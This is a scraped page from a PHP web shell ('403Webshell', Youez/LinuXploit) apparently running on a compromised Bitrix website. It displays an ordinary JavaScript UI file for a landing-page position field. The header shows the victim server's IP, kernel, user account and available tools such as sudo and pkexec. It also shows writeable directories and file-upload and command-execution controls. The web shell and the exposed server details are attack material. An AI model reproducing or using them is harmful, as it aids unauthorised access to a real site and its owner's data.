403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/landing/ui/field/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/landing/ui/field/position_field.js
;(function() {
	"use strict";

	BX.namespace("BX.Landing.UI.Field");

	var addClass = BX.Landing.Utils.addClass;
	var clone = BX.Landing.Utils.clone;
	var append = BX.Landing.Utils.append;
	var create = BX.Landing.Utils.create;

	var baseItems = [
		{name: "", value: "top-left"},
		{name: "", value: "top-center"},
		{name: "", value: "top-right"},
		{name: "", value: "middle-left"},
		{name: "", value: "middle-center"},
		{name: "", value: "middle-right"},
		{name: "", value: "bottom-left"},
		{name: "", value: "bottom-center"},
		{name: "", value: "bottom-right"}
	];

	/**
	 * @extends {BX.Landing.UI.Field.ButtonGroup}
	 * @param data
	 * @constructor
	 */
	BX.Landing.UI.Field.Position = function(data)
	{
		this.dataItems = data.items ? clone(data.items) : {};
		this.mode = data.mode ? data.mode : "ball";

		if (Object.keys(this.dataItems).length)
		{
			data.items = baseItems.map(function(item) {
				if (item.value in this.dataItems)
				{
					if ("content" in this.dataItems[item.value])
					{
						item.name = this.dataItems[item.value].content;
					}

					if ("value" in this.dataItems[item.value])
					{
						item.value = this.dataItems[item.value].value;
					}
				}

				return item;
			}, this);
		}
		else
		{
			data.items = baseItems;
		}

		BX.Landing.UI.Field.ButtonGroup.apply(this, arguments);
		addClass(this.layout, "landing-ui-field-position");
		addClass(this.layout, "landing-ui-field-position-mode-" + this.mode);

		this.wrapper = create("div", {
			props: {className: "landing-ui-field-position-wrapper"}
		});

		this.container = create("div", {
			props: {className: "landing-ui-field-position-container"},
			children: this.buttons.map(function(button) {
				return button.layout
			})
		});


		append(this.container, this.wrapper);

		var stripes = create("div", {
			props: {className: "landing-ui-field-position-stripes"},
			children: [
				create("span", {props: {className: "landing-ui-field-position-stripes-item"}}),
				create("span", {props: {className: "landing-ui-field-position-stripes-item"}}),
				create("span", {props: {className: "landing-ui-field-position-stripes-item"}}),
				create("span", {props: {className: "landing-ui-field-position-stripes-item"}}),
				create("span", {props: {className: "landing-ui-field-position-stripes-item"}})
			]
		});

		append(stripes, this.wrapper);
		append(this.wrapper, this.input);

		this.setValue(data.value, true);
		this.value = this.getValue();
	};


	BX.Landing.UI.Field.Position.prototype = {
		constructor: BX.Landing.UI.Field.Position,
		__proto__: BX.Landing.UI.Field.ButtonGroup.prototype
	}
})();

Youez - 2016 - github.com/yon3zu
LinuXploit